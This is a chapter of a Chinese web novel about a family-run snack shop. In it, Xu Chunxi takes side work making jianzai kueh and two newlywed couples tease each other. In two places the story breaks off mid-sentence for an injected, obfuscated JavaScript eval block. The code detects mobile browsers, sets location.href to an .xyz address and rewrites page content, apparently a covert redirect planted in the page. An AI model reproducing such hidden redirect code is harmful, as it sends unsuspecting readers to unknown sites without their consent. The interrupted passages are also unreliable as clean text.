虽说林大松不爱干活，但他可见不得月娘小吃铺生意清冷，他嚼着花生，盯着低头大口咬着满煎糕的苏月娘恨铁不成钢道： “你不着急？这可是白花花的银子啊！你还不快去外头吆喝吆喝！” 苏月娘不为所动，“我还吃着东西呢！要去你去！” 林大松竟还真站了起来，准备出去，可不知想到了什么，他又蔫头耷脑地坐了回去。 “他们又不认识我，怎么会给我面子？” 苏月娘，“他们认识李金花比认识我和阿山久，今天这样的日子就算我和阿山出去吆喝，他们也不一定会来！” 理是这么个理，林大松只好先坐下喝闷茶。 …… 今日的生意注定好不到哪儿去，今午要售卖卖的排骨咸饭、湖头米粉也就只准备了一半的量。 许东山与林大松在后厨忙活，苏月娘、许春喜还有红姑在前头商量过几日冬至卖冬至丸的事情。 才刚谈到这家家户户都会做又不怎么值钱的冬至丸该卖多少钱一碗时，外头便传来一阵大家伙都耳熟的脚步声。 “春喜姑姑！春喜姑姑！” 难得阿生今天回来嘴里不是喊阿嬷阿嬷，大家都稀奇得很。 阿生气喘吁吁地跑到许春喜身边，指着门外，“上次那家做桔红糕的头家来找你了！” 在苏月娘许东山成亲之前，许春喜决定要用哪家糕点作坊的时候，总会带着想蹭一蹭各家糕点的阿生四处跑。 阿生自然也就认得和许春喜打了赌，最后还赌输了，包了桔红糕的那家糕点作坊的头家。 方才他在街上玩得正开心，就被糕点作坊的头家拦下来要求带路。 话音刚落，糕点作坊的头家便从外头走来了。 “本来是来碰碰运气的，没想到你还真在这儿！” 来人生得膀大腰圆的，走起路来腰上的肥肉一颠一颠的，不过人倒是长得挺面善的。 许春喜感激他真的大方地包了自家办喜事要用的桔红糕，便亲自站起来迎接。 “陈头家，你有什么好事找我？” 陈头家笑呵呵地随着许春喜去桌边坐下。 “这不前三四个月大家伙都收了稻换了钱，不少人家都挑在这段时日成亲！我那作坊虽小，却也能接到不少活，这不，实在忙不过来了，也找不到合适的帮工，就想着过来问问你乐不乐意去做几天？” 许春喜一愣，随后面露为难地看了苏月娘一眼，“这怕是不行……我会的不多，又在这儿做事……” “有什么好不行的？又不要你做什么难的！听说以前你在街上卖过碱仔粿，正好，这两天有大户人家家里要给祖公做祭，找到我这儿来说想做一批碱仔粿！况且……” 陈头家看向许春喜身后的苏月娘，“月娘头家，店里这两天要是不忙的话，就把她借给我吧！” 苏月娘绷着脸嘁了声，“正好碰上隔壁重新开业我这儿冷清了些，你就敢上门打劫！这样做事可一点都不厚道！” 陈头家双手接过了红姑给倒的茶水，品了一口，“我这不是征求你们两个的意见吗！” 这两日店里确实不会太忙，苏月娘倒也没必要将许春喜拘在店里傻坐着闲聊。 苏月娘拍了拍许春喜的手背，笑出声来，“既然陈头家都这么有诚意了，我再不放人，还显得我小气刻薄了！” 陈头家也明白了苏月娘方才是在同自己开玩笑，当即大笑出声，“你这般心胸宽广，你不挣钱谁挣钱！” 这好听话说到苏月娘心坎上去了，苏月娘忙给陈头家添茶，与他隔空对敬后将品茗杯里的铁观音一饮而尽。 “诶！我可还没答应呢！”许春喜见苏月娘还要再给陈头家添茶，忙伸手摁下公道杯，“你那作坊远，去你那儿干活得费不少气力呢！你要不给我个满意的数，我可不乐意白费这腿脚！” 陈头家闻言，爽快地点了点头，“他们付多少我都给你三成！” 这个数许春喜尚算满意，便点头答应了明日就去陈头家的作坊帮忙做碱仔粿。 得了许春喜的答复，陈头家心里畅快，又闻见了后厨飘来的香气，便留在这儿，让苏月娘请了一顿丰盛的午餐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468886|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> —— 过了饭点，堂屋里只有零星散客还在吃饭，前面没什么要忙的，后面又有红姑和林大松在洗碗。 许春喜索性出门去朝包子铺要了一碗草木灰水，打算在家里练练做碱仔粿的手艺。 当时为了给病重的爹治病，许春喜将家底都掏空了。 许春喜一人撑不起面线糊店，只能做点碱仔粿之类的吃食去街上叫卖以补贴家用。 上回许春喜做碱仔粿，已经是两年前的事情了。 坐在灶边拾掇零碎柴叶的许东山看许春喜又做起了碱仔粿，不免回忆起许春喜从前过的苦日子。 苏月娘一进厨房，便瞧见手上还握着柴的丈夫一动不动地看着许春喜，他眼中的心疼跟泄洪一般流露了出来。 夫妻俩私下闲聊时也会聊起从前的日子，苏月娘也知道许春喜曾经靠手艺吃过饭。 稍一想，苏月娘便明白许东山在心疼什么了。 她走到许东山身边蹲下，歪着脑袋看他。 许东山见苏月娘过来了，忙要起身给她让座。 苏月娘摁住了他，凑到他耳边低声道：“你别这样……现在日子好过了，春喜做碱仔粿也只是为了赚点闲钱！” 许东山勉强扬了扬嘴角。 “我去给她帮忙，你继续做你的事！”苏月娘起身之前，往前凑了凑，在许东山唇上啄了一口。 许东山忽然被亲了一口，双眼有那么一瞬放空，反应过来后，他的心当即猛跳了起来。 “春喜还在呢！”许东山有些难为情地低声提醒道。 苏月娘回头望了一眼，许春喜还在那儿琢磨配料呢，压根没有心思扭头看一眼。 “在就在呗……她又看不见！”说着，苏月娘又快速地靠过去，在许东山唇角吻了一口。 许东山这个胆子小的紧张兮兮地盯着前方，生怕叫许春喜瞧见半点。 好在苏月娘及时收手，没再逗他，他才堪堪松下了一口气。 调戏过许东山后，苏月娘满面是笑地去找许春喜一起做碱仔粿了。 “春喜嫂，我来学学碱仔粿怎么做！” 许春喜笑了笑，拿着量米杯装糯米粉，“你爱吃硬一点的，还是黏一点的？” 苏月娘，“我爱吃黏一点的！” “黏一点？要多黏？像你和我哥刚刚那样亲来亲去一样黏？”许春喜冲着苏月娘一阵挤眉弄眼。 做了坏事还被逮了个正着的苏月娘，“……” 许春喜声音不小，坐在灶边的许东山听了，臊得赶紧起身走人，省得被许春喜抓着胡乱调侃。 吓了苏月娘与自家哥哥一顿后，许春喜露出了得意的笑。 “没想到你跟我哥这般好，还得见缝插针地亲来亲去！” 这处离窗台极近，苏月娘生怕林大松与红姑将许春喜的话听了去，连忙捂住许春喜的嘴巴。 “你快把这事儿烂肚子里！不然我跟你没完！” 原还想再作弄一番的，可瞧见了苏月娘红得能滴血的脸颊，许春喜这才点头妥协。 62. 碱仔粿2 “从前我吃的碱仔粿放久了摸起来就跟没了水的老豆腐一样，还没有嚼劲……这黏一点的碱仔粿究竟是怎么做的？” 抛开许春喜闹了自己一顿不谈，苏月娘还是很想知道碱仔仔细细要怎么做才能软糯。 “这可是我以前卖碱仔粿时慢慢琢磨出来的！”说起这个许春喜很是得意地拿起一旁的一个小盆，晃了晃里头的白色粉末，“只需要加这个就好了！” 苏月娘疑惑地用指腹沾了点搓了搓，再仔细一闻，“这不是粘米粉吗？” “是啊，有一回我做碱仔粿的时候糯米粉不够了，我就拿这粘米粉来凑数，没想到那次做的碱仔粿不仅味道好，而且吃起来还比从前软糯！”许春喜取来量米杯开始取粉，“既然你喜欢黏一些的，那就多放点粘米粉。” 于是，许春喜舀了四平杯粘米粉和一杯冒尖的糯米粉放入大木碗中，而后让苏月娘提来温水帮着倒进去。 “你慢一些倒，我喊停你就收手！” 姑嫂二人说好了要如何倒水之后，苏月娘便稍倾手腕，缓慢地往碗里头倒水。 许春喜搅拌没几下便喊了停，等拌匀了，再喊苏月娘继续倒水。 似这般少量地倒了七.八回水，糯米粉和粘米粉便被搅和成了稀稀的粉浆。 “你喜欢空口吃碱仔粿吗？” 拌好粉浆之后，许春喜倒入了一小碗刚刚去包子铺要的草木灰水。 苏月娘如实摇了摇头。 “那就不加糖了！”许春喜将筷子与掺了草木灰水的粉浆递给苏月娘，“你先替我搅拌均匀，我去烧柴火刷油！” 今天做的碱仔粿不算多，用不着后头的大灶。 外头刷碗的林大松刷累了，一抬头，正好瞧见许春喜在窗边小灶边上忙来忙去的身影。 “嘿！春喜！” 许春喜正给木盘子刷油，听见林大松喊她，掀眸看他，“你喊我做什么？” 林大松就冲着她笑，“不做什么，就是想喊你一声！” 林大松一直就不是个很聪明的人，许春喜都习惯了他时常做这种没什么来由的事情。 跟往常一般，许春喜冲他翻了个白眼后，消失在了窗边。 红姑目睹全程，不免笑吻道：“大松，你是怎么讨上春喜做媳妇的？” 林大松，“都是大哥看得起我，劝春喜嫁给我，不然我哪有那本事自己讨上这么个好媳妇？” 红姑作为过来人，还是忍不住与林大松这个憨大呆说上一句： “我可是看着春喜长大的！她打小就有主见又脾气倔，她不乐意做的事情，她亲爹亲哥怎么劝可都没用！” “啊？”林大松眼神清澈地看向红姑。 “憨大呆呀憨大呆！真是憨人有憨福！”红姑倒掉洗碗盆里的水，笑着回屋去了。 …… 搅和成了黄色的粉浆已经倒入刷了油的木碗入锅开始蒸制了。 苏月娘将用过的碗筷从窗子里递给外头的林大松去洗。 看锅的事情被许春喜包下了，苏月娘正好出去排一排被食客们撞歪的桌椅。 很是难得，从前从不在店门开着的时候无故离开厨房或者堂屋的许东山已经消失了两刻钟了。 苏月娘探头一望，许东山外出会穿的鞋还整整齐齐摆在门边，所以，许东山一定没走出家门。 以苏月娘对他的了解，他必不可能回屋午睡。 那么他离开前屋，极有可能是被许春喜那几句话给臊得不敢见人。 一想到这儿，苏月娘忍不住扬起了嘴角。 这人好像一直这么不禁逗…… —— 碱仔粿半刻钟多一些便可以出锅了。 许春喜将滚烫的碱仔粿从锅里端出，再放在窗台上放凉，顺便看林大松干活。 将红姑的话反复琢磨的林大松看着许春喜站在窗边，还傻傻问道：“春喜……你站那做什么？特意来看我的？我马上就洗好进去陪你！” 许春喜抬起手，“打住！我在这儿站着是怕你偷吃我的碱仔粿。” 林大松，“……” 等伤心的林大松洗完碗，碱仔粿正好冷却到可以直接用手触碰的温度。 林大松可不想许春喜觉得他贪嘴，难得没凑到许春喜身边张嘴，而是坐到大灶边上的矮板凳上生闷气。 碗底刷了油防粘，许春喜很轻易地就将一整片碱仔粿取了下来。 富有弹性的淡黄色碱仔粿一弹几晃，瞧着就知道一定软糯弹牙。 许春喜取了把大剪子，将那一整片碱仔粿剪成几个长条，而后再将长条剪成小块，最后，分装成三盘。 碱仔粿本身并没有什么滋味儿，须得加上蜂蜜或者白糖食用。 生着闷气的林大松正扯着枝上的枯叶，忽然，他的视线里出现了一块裹满了白糖的碱仔粿。 顺着碱仔粿望去，是许春喜夹着碱仔粿，站在他身边看着他。 “这……” “你不想吃？你不吃我就自己吃了！” 林大松赶紧张大他的嘴，许春喜便将那块裹满白糖的碱仔粿塞进他的嘴里。 林大松一边嘎巴嘎巴地嚼着碱仔粿，一边抱着许春喜的大腿，在她腰上蹭了蹭，“春喜，我好爱你啊……” 许春喜被林大松肉麻出了一身鸡皮疙瘩，她嫌弃地推了推林大松的脑袋，“自己拿着吃，我去喊月娘！” …… 等苏月娘拿到她那盘碱仔粿，自己还没尝呢，就先端着去后屋寻许东山。 才走出房巷，就瞧见许东山站在浴房外的水池边洗他与苏月娘昨晚来不及洗的衣裳。 话说许东山这人还真是眼里有活，打成了亲之后，苏月娘就没洗过几次衣裳。 “阿山阿山～” 听见苏月娘甜腻腻的声音，许东山抬起头望去。 想起方才的事情，许东山的耳根子慢慢地变红了。 苏月娘端着那盘碱仔糕，满面笑容地朝他走去，见许东山并不怎么搭理自己，她撅着嘴，撞了撞许东山。 “你怎么一个人躲到这儿来了？我找你找得好辛苦啊……” 许东山，“……” 他可不信这话，毕竟他刚刚去房巷口张望有无客人时，苏月娘就大喇喇地坐在堂屋正中逗阿生玩。 “来来来……我们阿山洗衣裳辛苦了，吃块碱仔粿吧！你要蘸蜂蜜还是蘸白糖？” 许东山，“……就蜂蜜吧……” 许东山没那么爱吃甜的，苏月娘就只蘸了一小角，就喂到了他的嘴边。 许东山张嘴吃下碱仔粿，认真品味了一番。 这其实是他头一回吃许春喜做的碱仔粿，从前知道许春喜的碱仔粿都是要拿去卖钱的，他便一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474098|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都舍不得吃。 如今尝了，才知道许春喜做的碱仔粿可比别人家做的好吃多了。 如此软油润牙又没有太多草木灰水的味道，是别人家所不能及的。 配上蜂蜜，最后那一点儿草木灰水味被完全掩盖，这碱仔粿当真是无可挑剔，十足味美。 “再吃一口白糖的！”苏月娘见许东山咽下了蜂蜜的，便又给他塞了一口白糖的。 “剩的你自己吃，我拧一下衣裳。” 苏月娘点点头，靠在一边吃起了碱仔粿。 一口蜂蜜的，一口白糖的，若是再配上一壶热气腾腾的铁观音茶，那必然更显惬意。 许东山从凉水中捞出苏月娘的衣裳，拧成长条，攥出水，而后挂到天井中央的晾衣绳上。 这身衣裳是新做的，颜色艳，款式新，苏月娘很是爱惜这身衣裳，许东山将衣裳晒上后，没忘记将衣裳四处拉扯一番，拉平了拧水时弄出的皱痕，再仔细调整挂衣服位置。 许东山认真地晒好了两人的衣裳，放眼看去，他俩的衣裳可比边上许春喜和林大松的衣裳来得整齐多了。 许东山晒好了衣裳，苏月娘也吃完了那一小盘碱仔粿。 今日虽然生意不怎么样，但排骨咸饭还是卖空了，许东山见时候差不多了，便打算去准备傍晚要卖的排骨咸饭。 怎知道他刚一抬脚要往房巷那儿走，苏月娘便伸手将他拦住。 “怎么了？” 苏月娘拉着他的手腕，一步挪进了他的怀中，贴在他的胸前，打量着他的耳朵。 “你怎么还害羞啊？” “我没有。”许东山一低头就看见苏月娘的笑脸，分明边上没人，她也没做出什么出格的动作可他就是忍不住耳朵发烫发红。 苏月娘抬起手，揪住他的红耳朵，冷哼道：“你要是不害羞的话，你的耳朵为什么这么红？” 许东山垂眸，没有回应。 看许东山这模样，苏月娘计上心头，两条胳膊环上了他的脖颈，脑袋往前一凑。 已经吃了一亏的许东山警觉地往后一躲。 苏月娘落了空，当即皱眉控诉他，“许东山！你居然敢躲！” “月娘……”许东山一脸难为情。 “春喜嫂可不在这儿！你怕什么！”苏月娘可不管，她非得压着许东山的脖子，撅着嘴要亲。 当然，她还真霸王硬上弓地亲上了许东山。 亲都亲了，方才还在害羞的许东山也不管什么春喜不春喜的了，后背往墙上一靠，双手握着苏月娘的腰肢，脖子再压低几分，与她难舍难分地吻了起来。 这新婚燕尔的，正是情浓的时候。 两个人这一亲就停不下来了，当许春喜走出房巷时，就瞧见许东山与苏月娘在水池边上互相又亲又啃。 隔着五米的距离，许春喜还能清楚地听见“啧啧”的声响。 许春喜，“……” 这个时候她要是再往里走，那也太没眼力见了。 于是许春喜脚步慌乱地往回走，忙乱中，她还自己踩了自己一脚，差点一头撞上门框。 有如此声响，亲得难舍难分的两人当即见了鬼一般地松开了对方。 许春喜的身影已然消失在了房巷口。 许东山抿了抿有些肿的唇…… 罢了，排骨咸饭也不是非做不可！